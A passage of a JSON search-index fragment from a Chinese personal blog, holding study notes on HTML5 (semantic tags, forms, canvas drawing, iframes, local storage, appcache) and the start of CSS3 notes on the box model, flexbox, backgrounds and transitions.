//定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有\u0026lt;div\u0026gt;和\u0026lt;span\u0026gt; 常用的语义元素有\u0026lt;header\u0026gt;和\u0026lt;footer\u0026gt; \u0026lt;header\u0026gt;：页眉，一般包括网站logo，主导航，搜索框等； \u0026lt;nav\u0026gt;：导航，链接； \u0026lt;main\u0026gt;：定义文章的主要内容，一个页面只能使用一次； \u0026lt;article\u0026gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； \u0026lt;section\u0026gt;：定义内容的节（段）； \u0026lt;footer\u0026gt;：页脚，一般包含版权信息或者链接等； \u0026lt;aside\u0026gt;：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport\nviewport 是指 web 页面上的可见区域\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0\u0026quot;\u0026gt; device-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u0026lt;和\u0026gt;括起来，例如\u0026lt;div\u0026gt;\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以\u0026lt;DIV\u0026gt;和\u0026lt;div\u0026gt;作用一样。建议使用小写\n\u0026lt;!DOCTYPE html\u0026gt;声明这是一个html5文件，声明位于\u0026lt;html\u0026gt;前面 \u0026lt;html\u0026gt; 标识HTML文档的开始 \u0026lt;head\u0026gt;表明一些和html文档有关的信息，例如title \u0026lt;body\u0026gt;html文档的主体 \u0026lt;!--这是一个注释--\u0026gt; 段落\n\u0026lt;span\u0026gt;\u0026lt;span\u0026gt; \u0026lt;h1\u0026gt;~\u0026lt;h6\u0026gt; \u0026lt;div\u0026gt;\u0026lt;/div 定义头部区域\u0026lt;header\u0026gt; 定义底部区域\u0026lt;footer\u0026gt; 定义区段\u0026lt;section\u0026gt; 定义侧边栏区域\u0026lt;aside\u0026gt; 换行\u0026lt;br\u0026gt; 文本输入框 \u0026lt;input\u0026gt; select+option 选择列表\n多媒体元素（video和audio）\n例如：\n\u0026lt;video src=\u0026quot;hallo.mp4\u0026quot; controls autoplay=\u0026quot;autoplay\u0026quot; loop\u0026gt;\u0026lt;/video\u0026gt; \u0026lt;audio src=\u0026quot;hallo.mp3\u0026quot; controls autoplay=\u0026quot;autoplay\u0026quot; loop\u0026gt;\u0026lt;/audio\u0026gt; controls属性是显示控制栏，autoplay属性是自动播放，loop属性是循环播放\n注意：video元素支持的视频格式有mp4，ogg，webm，不过每个格式在不同浏览器内核兼容性不一样\nsource标签就完美解决这个问题，例如：\n\u0026lt;video\u0026gt; \u0026lt;source src=\u0026quot;hallo.mp4\u0026quot;\u0026gt; \u0026lt;source src=\u0026quot;hallo.ogg\u0026quot;\u0026gt; \u0026lt;source src=\u0026quot;hallo.WebM\u0026quot;\u0026gt; \u0026lt;/video\u0026gt; 播放顺序是如果第一个支持就是只播放第一个，如果第一个不支持，第二个支持，就播放第二个\n表单控件可以控制输入内容必须为指定合法的数据，例如：\n\u0026lt;form\u0026gt;\t邮箱地址： \u0026lt;input type=\u0026quot;email\u0026quot;\u0026gt; \u0026lt;/form\u0026gt; type新的属性值有：\nemail：邮箱地址\nurl：网址\nnumber：数字\ncolor：拾色器\ntime：时，分\nweek：周\nmonth：月\ndate：年，月，日\ndatetime-local：年，月，日，时，分，秒\nrange：滑块\nform的一些属性\nautocomplete：该属性可以实现自动输入功能，浏览器基于之前输入并且提交过的值，属性值有on和off\nnovalidate：该属性是是否关闭校验，搭配表单控件食用更佳\ninput的一些属性\nautofocus：自动获取焦点\nplaceholder：提示信息（占位符）\nrequired：必填项\nlist：带本地数据缓存列表的自动输入，例如\n\u0026lt;form\u0026gt; \u0026lt;input type=\u0026quot;url\u0026quot; list=\u0026quot;url_list\u0026quot; name=\u0026quot;link\u0026quot;/\u0026gt; \u0026lt;datalist id=\u0026quot;url_list\u0026quot;\u0026gt; \u0026lt;option label=\u0026quot;blog\u0026quot; value=\u0026quot;https://xiaochenabc123.test.com\u0026quot; /\u0026gt; \u0026lt;option label=\u0026quot;baidu\u0026quot; value=\u0026quot;https://www.baidu.com\u0026quot; /\u0026gt; \u0026lt;option label=\u0026quot;github\u0026quot; value=\u0026quot;https://www.github.com\u0026quot; /\u0026gt; \u0026lt;/datalist\u0026gt; \u0026lt;input type=\u0026quot;submit\u0026quot; /\u0026gt; \u0026lt;/form\u0026gt; multiple：多选项\n如果一个表单不被form元素包含，但是又想提交过去，那么可以指定该input元素的form属性值为form元素的id\ncanvas元素用于图形的绘制，该元素只是一个容器，还需要js来绘制，例如：\n\u0026lt;canvas width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot;\u0026gt;\u0026lt;/canvas\u0026gt; \u0026lt;style\u0026gt; canvas{ border: 1px solid #000; } \u0026lt;/style\u0026gt; \u0026lt;script\u0026gt; //获取dom对象 var canvas =document.querySelector(\u0026quot;canvas\u0026quot;); //获取绘图上下文 var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.fillStyle=\u0026quot;#000\u0026quot;; ctx.fillRect(0,0,100,100); // Canvas坐标是二维的，代表左上角的坐标为0,0 \u0026lt;/script\u0026gt; canvas画线，提供了两个方法moveTo()和lineTo()，例如:\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.moveTo(100, 100); // 线条开始坐标 ctx.lineTo(200, 100); // 线条结束坐标 ctx.stroke(); // 绘制 画圆圈：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.beginPath(); ctx.arc(100,100,80,0,2*Math.PI,false); // 圆心的坐标（x，y），半径，开始弧度，结束弧度，方向(默认为false顺时针,true代表逆时针) ctx.stroke(); 以圆心为中心向右（3点方向）为0度角，顺时针为正，逆时针为负\n1角度=π/180度，1弧度=180度/π,一个圆有360度，也就是说一个圆是2弧度\n30度=π/6,60度=π/3,90度=π/2,180度=π,360度=2π，依此类推\nx坐标 = 圆心的横坐标+圆的半径*cos(弧度)\ny坐标 = 圆心的纵坐标+圆的半径*sin(弧度)\n画三角形\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.moveTo(10, 10); ctx.lineTo(10, 100); ctx.lineTo(70, 100); ctx.closePath(); // 闭合 ctx.stroke(); ctx.fillStyle=\u0026quot;#ccc\u0026quot;; // 填充颜色 ctx.fill(); 平移(坐标系圆点的平移)\ntranslate(x,y)\n注意：translate不能只设置一个值(除非使用translateX或者translateY进行单独设置值)，和moveTo()的区别就是moveTo是修改开始绘制的位置，圆点位置没有改变，而translate是改变圆点位置，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.translate(100,100); ctx.fillStyle=\u0026quot;gray\u0026quot;; ctx.fillRect(50,50,100,50); 旋转\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.translate(100, 100); ctx.rotate(Math.PI/6); ctx.moveTo(0, 0); ctx.lineTo(200, 0); ctx.lineTo(0, 100); ctx.stroke(); 缩放\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.translate(300,200); ctx.scale(0.3, 0.5); // x轴和y轴缩放倍数，例如0.3，0.5 ctx.arc(10,10,200,0,2*Math.PI); ctx.stroke(); 线与线之间链接的方式，主要用到lineJoin属性，属性值有miter（尖角，默认），bevel（斜角），round（圆角），例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.lineWidth=10; // 线的宽度 ctx.lineJoin=\u0026quot;bevel\u0026quot;; // 线与线的链接方式 ctx.moveTo(80, 80); // 线条开始坐标 ctx.lineTo(200, 130); // 线条结束坐标 ctx.lineTo(150, 30); ctx.stroke(); // 绘制 线帽\n主要实现方式就是使用lineCap()属性，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.lineWidth=10; ctx.lineCap=\u0026quot;round\u0026quot;; ctx.moveTo(50,50); ctx.lineTo(200,50); ctx.stroke(); 该属性有三个值，分别是butt（默认），round（圆形线帽），square（正方形线帽）\nbutt和square的区别就是，square（round也是）会导致线条变长一点\nctx.beginPath(); // 设置新的画布\n非零环绕\n如果想画一个不规则的图形，然后填充颜色，那么怎么知道那里该填色那里不填色呢，那么就是需要用到一个叫非零环绕的数学方法，实现原理很简单，描绘路径一笔完成就可以了，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.arc(120,120,80,0,2*Math.PI,false); // .arc()方法中最后一个参数是设置路径方向的 ctx.arc(120,120,100,0,2*Math.PI,true); ctx.stroke(); ctx.fillStyle=\u0026quot;#ccc\u0026quot;; // 填充颜色 ctx.fill(); 非零环绕：\n以点为圆心,绘制一条射线,以射线为半径顺时针旋转,相交的边同向记为+1,反方向记为-1,如果相加的区域等于0,则不填充,非零区域填充\n例如：假设一个点，以这个点绘制一条射线，如果这个射线和这个点的一条路径正方向相交，则为+1，或者再有一个点，如果这个点和这个点的一条路径正方向，但是又有一条路径是反方向相交的，那么就是+1-1，那么就是0，只要结果不是0，那么射线所在的区域就是在外面，不填充\n线性渐变\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); var clg=ctx.createLinearGradient(0,0,200,0); clg.addColorStop(0,\u0026quot;red\u0026quot;); clg.addColorStop(1,\u0026quot;black\u0026quot;); ctx.lineWidth=\u0026quot;50\u0026quot;; ctx.strokeStyle=clg; ctx.moveTo(100, 100); ctx.lineTo(200, 100); ctx.stroke(); createLinearGradient()有4个参数，分别代表渐变开始的xy坐标，渐变结束的xy坐标\naddColorStop()方法，第一个参数是设置开始和结束或者中间的周期，第二个参数是颜色\n0代表开始，1表示结束，中间颜色可以使用小数来设置\n径向渐变 var canvas =document.querySelector(\u0026ldquo;canvas\u0026rdquo;); var ctx=canvas.getContext(\u0026ldquo;2d\u0026rdquo;); var clg=ctx.createRadialGradient(200,200,100,120,120,100); clg.addColorStop(0,\u0026ldquo;black\u0026rdquo;); clg.addColorStop(1,\u0026ldquo;red\u0026rdquo;); ctx.fillStyle=clg; ctx.moveTo(50, 50); ctx.lineTo(300, 100); ctx.lineTo(300, 300); ctx.lineTo(100, 300); ctx.lineTo(50, 50); ctx.closePath(); ctx.fill();\ncreateRadialGradient()中有6个参数，分别代表径向渐变开始的xy坐标，渐变开始的半径，向渐变结束的xy坐标，渐变结束的半径\n虚线就是实线和空白区域之间的空白距离\nsetLineDash()，参数是一个数组，如果数组中有两个值，那么就是分别代表实线长度，空白长度，如果是三个值，那么就是分别代表实线，空白，实线\u0026hellip;\n例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.moveTo(100, 100); ctx.lineTo(300, 150); ctx.setLineDash([10,3,15]); ctx.stroke(); 绘制动画\n动画确实就是绘制一个图形，清除这个图形，然后在另一个地方绘制图形，达到这个图形好像在动的错觉\n清除图形用到clearRect()，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); var x=0; // 初始位置 var abc=10; // 每次移动多少像素 var i=1; // 改变方向，做到一来一回的效果 setInterval(function(){ // 定时器 ctx.clearRect(0, 0, canvas.width, canvas.height); // 清除 ctx.fillRect(x, 120, 120, 180); // 绘制新的图形 x+=abc*i; // 处理，实质上x是移动的位置变化，x=x+abc*i if(x\u0026gt;canvas.width-120){ i=-1; }else if(x\u0026lt;0){ i=1; // i的值为1时为正方向移动，为-1时为反方向移动，将值做成互为相反数来达到效果 } },30); 绘制文本\n绘制文本有两个方法，fillText()实体文字，strokeText()镂空文字，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); ctx.textAlign=\u0026quot;center\u0026quot;; // 文本水平对齐方式,left,right,center ctx.font=\u0026quot;30px 宋体\u0026quot;; // 文本大小与字体 ctx.textBaseline=\u0026quot;middle\u0026quot;; // 文字垂直对齐方式,alphabetic(默认),top,middle,bottom,hanging,ideographic ctx.shadowColor=\u0026quot;gray\u0026quot;; // 文本阴影颜色 ctx.shadowOffsetX=3; // 文字阴影的水平偏移量 ctx.shadowOffsetY=3; // 文字阴影的垂直偏移量 ctx.shadowBlur=6; // 设置文字阴影的模糊度 ctx.strokeText(\u0026quot;hallo word\u0026quot;, 200, 200); // 文本内容，x，y ctx.fillText(\u0026quot;hallo word\u0026quot;, 200, 200); 绘制图片\n例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;); var ctx=canvas.getContext(\u0026quot;2d\u0026quot;); var img=document.createElement(\u0026quot;img\u0026quot;); // 创建一个img img.src=\u0026quot;hallo.jpg\u0026quot;; // 图片位置 img.onload=function(){ ctx.drawImage(img,100,100); // 图片对象，x，y } 图片设置宽度高度\nctx.drawImage(img,100,100,200,200); // 图片对象，x，y，宽度，高度 将图片绘制到矩形区域内的指定位置\nctx.drawImage(img,100,100,200,200,0,0,300,300); // 图片对象，图片绘制到矩形的位置xy，图片的高度和宽度，图片矩形的位置，图片矩形的高度和宽度 解决图片比例不正常：\n要满足：绘制的图片宽度：绘制的图片高度等于原始图片宽度：原始高度\n那么就是说绘制的图片宽度等于绘制的图片高度乘以原始图片宽度除以原始高度，依此类推，保证绘制的图片宽高比例和原来图片的比例宽高一致\niframe框架\n用于在网页中显示网页\n\u0026lt;iframe src=\u0026quot;https://xiaochenabc123.test.com\u0026quot;\u0026gt;\u0026lt;/iframe\u0026gt; 可以设置高度和宽度\nframeborder=\u0026ldquo;0\u0026rdquo; // 可以移除边框\n可以设置target属性来做目标\ntarget属性：浏览器会在指定文件中寻找对应的name，并且寻找到对应name的href属性\n\u0026lt;iframe src=\u0026quot;index.html\u0026quot; name=\u0026quot;iframe_a\u0026quot;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; target=\u0026quot;iframe_a\u0026quot;\u0026gt;hallo\u0026lt;/a\u0026gt; defer属性规定了执行延迟，当页面加载完毕就执行，不用再担心DOM元素获取不了，例如：\n\u0026lt;script type=\u0026quot;text/javascript\u0026quot; defer=\u0026quot;defer\u0026quot;\u0026gt; console.log(\u0026quot;hallo word\u0026quot;) \u0026lt;/script\u0026gt; 无论这句话防止哪里，都会等到页面加载完毕（dom渲染完毕后）才会执行\n本地存储\nlocalStorage是用键值对来进行本地存储，localStorage方法是window方法下的\n存储\nlocalStorage.setItem(\u0026ldquo;root\u0026rdquo;,\u0026ldquo;123\u0026rdquo;)\n读取\nlet abc = localStorage.getItem(\u0026ldquo;root\u0026rdquo;)\n删除\nlocalStorage.removeItem(\u0026ldquo;root\u0026rdquo;)\n例如:\nfunction onAdd(){ if (localStorage.clickcount) { localStorage.clickcount = Number(localStorage.clickcount) + 1 } else { localStorage.clickcount = 1 } document.getElementById(\u0026quot;root\u0026quot;).innerHTML = \u0026quot;当前点击数：\u0026quot; + localStorage.clickcount + \u0026quot;次\u0026quot; } ... \u0026lt;button onclick=\u0026quot;onAdd()\u0026quot; type=\u0026quot;button\u0026quot;\u0026gt;点击\u0026lt;/button\u0026gt; \u0026lt;div id=\u0026quot;root\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; 注意：localStorage会永久存储，一直到手动删除，如果想保存在当前会话的话使用sessionStorage更好，该会在关闭页面的时候同时也销毁这些数据\nsessionStorage也是window方法下的\n存储\nsessionStorage.setItem(\u0026ldquo;root\u0026rdquo;, \u0026ldquo;123\u0026rdquo;)\n读取\nlet abc = sessionStorage.getItem(\u0026ldquo;root\u0026rdquo;)\n删除\nsessionStorage.removeItem(\u0026ldquo;root\u0026rdquo;)\n删除全部数据\nsessionStorage.clear()\nCache Manifest是HTML5的一种缓存机制，用来缓存应用，让其在无网络的情况下还能访问\n启动Cache Manifest也很简单，直接在html元素上使用manifest属性，属性值是manifest文件\nW3C建议文件扩展名为.appcache\nmanifest文件格式\nCACHE MANIFEST /main.js /logo.jpg NETWORK: test.html FALLBACK: /archives /404.html\n上面表示/main.js和/logo.jpg将被缓存，哪怕断开连接，都是可用的，test.html不被缓存，如果不能连接网络，archives目录将被404.html覆盖\n注意：应用被缓存，那么就会被一直缓存下去，一直到清空缓存，manifest文件被修改才会重新从互联网上获取最新的数据\n离线存储是通过manifest文件来管理的，还需要服务器端的支持，因为这里是nginx服务器，因此修改mime.types文件，添加manifest文件映射\n添加\ntext/cache-manifest appcache; 然后重启nginx服务器\n例如：\n\u0026lt;html manifest=\u0026quot;demo.appcache\u0026quot;\u0026gt; \u0026lt;body\u0026gt;离线缓存\u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; DOCTYPE是声明浏览器应该使用哪种规范解析，因为HTML5不是基于SGML（标准通用标记语言），所以不需要DTD，而HTML4.01是基于SGML，所以才需要引用DTD，XHTML是严格版本的HTML，必须正确嵌套，闭合，以及区分大小写\nDTD(Document Type Definition, 文档类型定义)是一套用来定义html或者xhtml，以及xml的文件类型的语法语法规则，浏览器根据dtd来判断文件类型，使用哪种模式来说解析\niframe\niframe会堵塞页面的加载事件（onload）(只有当全部iframe标签都加载完毕才会触发该事件)，还存在连接池问题（部分老版本浏览器限制同一个域名多开连接，页面和iframe共享连接池），而且搜索引擎无法爬取该页面，如果需要使用，请尽量保证iframe存在src属性\n","permalink":"https://chenjunlinabc.github.io/posts/12/","summary":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block //定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有\u0026lt;div\u0026gt;和\u0026lt;span\u0026gt; 常用的语义元素有\u0026lt;header\u0026gt;和\u0026lt;footer\u0026gt; \u0026lt;header\u0026gt;：页眉，一般包括网站logo，主导航，搜索框等； \u0026lt;nav\u0026gt;：导航，链接； \u0026lt;main\u0026gt;：定义文章的主要内容，一个页面只能使用一次； \u0026lt;article\u0026gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； \u0026lt;section\u0026gt;：定义内容的节（段）； \u0026lt;footer\u0026gt;：页脚，一般包含版权信息或者链接等； \u0026lt;aside\u0026gt;：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport\nviewport 是指 web 页面上的可见区域\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0\u0026quot;\u0026gt; device-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u0026lt;和\u0026gt;括起来，例如\u0026lt;div\u0026gt;\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以\u0026lt;DIV\u0026gt;和\u0026lt;div\u0026gt;作用一样。建议使用小写\n\u0026lt;!DOCTYPE html\u0026gt;声明这是一个html5文件，声明位于\u0026lt;html\u0026gt;前面 \u0026lt;html\u0026gt; 标识HTML文档的开始 \u0026lt;head\u0026gt;表明一些和html文档有关的信息，例如title \u0026lt;body\u0026gt;html文档的主体 \u0026lt;!","title":"html5学习笔记"},{"content":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：\nBFC是页面上的独立容器，该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素\n例子：\n1.当处于同一个BFC容器时，外边距会进行重叠，为了避免重叠，可以将其放在不同的BFC容器内\n2.当容器内的元素使用的浮动，将其脱离了文档流，要触发容器的BFC，那么BFC容器要包含使用了浮动的元素\n3.当第一个元素使用了浮动，希望第二个元素不被浮动元素影响，要在第二个元素上触发BFC特性\nflex为Flexible Box 的缩写，意为\u0026quot;弹性盒模型\u0026quot;，为其盒模型提供足够大的灵活性\ndiv{ display: flex; } 使用flex布局的元素，被称为flex容器，该元素的所有子元素为该容器的成员，称为flex项目\nflex-direction\n一般用到四个值\nrow：在水平方向上，起点在左 row-reverse：在水平方向上，起点在右 column：在垂直方向上，起点在上。 column-reverse：在垂直方向上，起点在下。\nflex-wrap\n一般用到三个值\nnowrap：不换行 wrap：当容器宽度不足时换行，第一行在上方 wrap-reverse：当容器宽度不足时换行，第一行在下方\nflex-flow是flex-direction和flex-wrap简写版，它们两个的属性都可以使用 例如flex-flow: row-reverse wrap-reverse;\n表达了换行，第一行在下方，起点在右\njustify-content\n定义项目在主轴上的对齐方式\nflex-star：左对齐\nflex-end：右对齐\ncenter： 居中\nspace-between：两端对齐，每个项目之间的间隔都相等\nspace-around：每个项目两侧的间隔相等，所以项目之间的间隔比项目与边框的间隔大一倍\nalign-items\nflex-start：头部对齐 flex-end：底部对齐 center：居中对齐 baseline: 项目的第一行文字的基线对齐 stretch：当项目没有设置高度或设置为auto时，将占满整个容器的高度\nalign-content\nflex-start：元素位于容器的开头 flex-end：元素位于容器的结尾 center：元素位于容器的中心 space-between：元素位于各行之间留有空白的容器内 space-around：元素位于各行之前、之间、之后都留有空白的容器内 stretch：默认值，元素被拉伸以适应容器\n单独用于元素的属性\norder 控制元素的顺序，数值越小排列就越靠前\norder:1\nflex-grow 控制元素的宽度\n如果都为1，还有剩余的空间，那么将会等分剩余的空间\n如果有一个为2，那么为2所占的剩余空间比为1的大1倍\nflex-grow: 2\nflex-shrink 控制元素宽度\n如果都为1时，当空间不足时，将会等比例缩小\n如果有一个为2时，那么当空间不足时\nflex-shrink: 2\nflex-basis 控制元素的初始宽度\n\\flex-basis: 100px flex 控制元素都有相同的宽度，不会被内容的长度撑开 \\flex: 1 align-self 控制元素单独对齐方式\nalign-self: auto | flex-start | flex-end | center | baseline | stretch;\n背景\n定位\n在box盒子内部的背景默认是在盒子的内边距的左上角对齐\nbackground-origin属性则规定background是相对于什么位置来定位的\n.box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url(\u0026quot;hallo.jpg\u0026quot;); background-origin: padding-box; } background-origin属性值有3个，padding-box：相对于内边距定位，border-box：相对于边框定位，content-box：相对于内容区域\n裁切\n.box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url(\u0026quot;hallo.jpg\u0026quot;); background-clip: padding-box; } background-clip属性提供相对于什么位置进行背景裁切，该属性值和background-origin一样\n背景尺寸\n.box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url(\u0026quot;hallo.jpg\u0026quot;); background-size: 100px 100px; } background-size属性可以直接指定大小，也是可以cover或者contain填充\ncover会按照原来的缩放比来填满整个盒子，而contain是按照原来缩放比，完整的填充盒子（不会填满）\n边框\n边框阴影\n.box{ width: 300px; height: 300px; border: 1px solid red; box-shadow: 0px 0px 6px #ccc; border-radius: 6px; } box-shadow，第一个值为阴影在水平方向的偏移量（正数为正方向，负数为反方向）\n第二个值为阴影在垂直方向的偏移量（正数为朝下，负数为朝上）\n第三个值为阴影的模糊度\n第四个值为阴影的颜色\nborder-radius为边框圆角\n边框图片\n.box{ width: 300px; height: 300px; border: 1px solid red; border-image-source: url(\u0026quot;hallo.jpg\u0026quot;); // 边框图片 border-image-slice: 10; // 边框图片向内的偏移量 border-image-repeat: round; // 边框图片的平铺方式 border-image-width: 10px; // 边框图片的宽度 } border-image-repeat有4个常用值\nstretch（默认值）：拉伸图形来填充\nrepeat：平铺（重复）图形来填充\nround：如果无法完整平铺，那么就进行缩放来适应\nspace：如果无法完整平铺，那么就进行扩展来适应\n文本阴影\ntext-shadow，有4个值，分别是水平方向的偏移量，垂直方向的偏移量，模糊度，阴影的颜色\n伪类选择器\n:first-child：选择父元素中的第一个子元素 :last-child：选择父元素中的最后一个子元素 :nth-child(n) ：选择父元素中正数第n个子元素 :nth-last-child(n) ：选择父元素中倒数第n个子元素\nn的值必须要大于等于0，也可以是表达式\n:target：选择被锚链接指向 ::selection：选择被鼠标选中\n例如：\n:target{ background-color: #ccc; } \u0026lt;p\u0026gt;\\\u0026lt;a href=\u0026quot;#a\u0026quot;\u0026gt;跳转至1\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026hellip;\n\u0026lt;p id=\u0026quot;a\u0026quot;\u0026gt;1\u0026lt;/p\u0026gt; 或者\np::selection:{ background-color: #ccc; } \u0026lt;p\u0026gt;xxx\u0026lt;/p\u0026gt; \u0026hellip;\n\u0026lt;p\u0026gt;xxx\u0026lt;/p\u0026gt; ::first-line：选择第一行 ::first-letter：选择第一个字符\n例如：\ndiv{ width: 100px; height: 100px; } div::first-line{ background-color: #ccc; } div::first-letter{ background-color: #000; } \u0026lt;div\u0026gt; sjdasfkdskbdsalkddsfjdslsakfbsdlss xxx test \u0026lt;/div\u0026gt; 过渡\n.box1 { width: 300px; height: 300px; background-color: red; transition-property: all; transition-duration: 3s; } .box1:hover { width: 500px; height: 500px; background-color: #ccc; } transition-property：表示哪些属性要参与到过渡动画效果，all表示全部\ntransition-duration：表示过渡执行时间\ntransition-delay: 设置过渡执行前等待的时间\ntransition-timing-function：过渡的速度类型，linear为相同速度，ease为开始慢速，变快，然后慢速结束，ease-in慢速开始，ease-out慢速结束，ease-in-out以慢速开始和结束，cubic-bezier开始到结束的不同速度过渡，用小数来表示进度，例如cubic-bezier(0.1, 0.3, 0.6, 0.1)\nCSS3 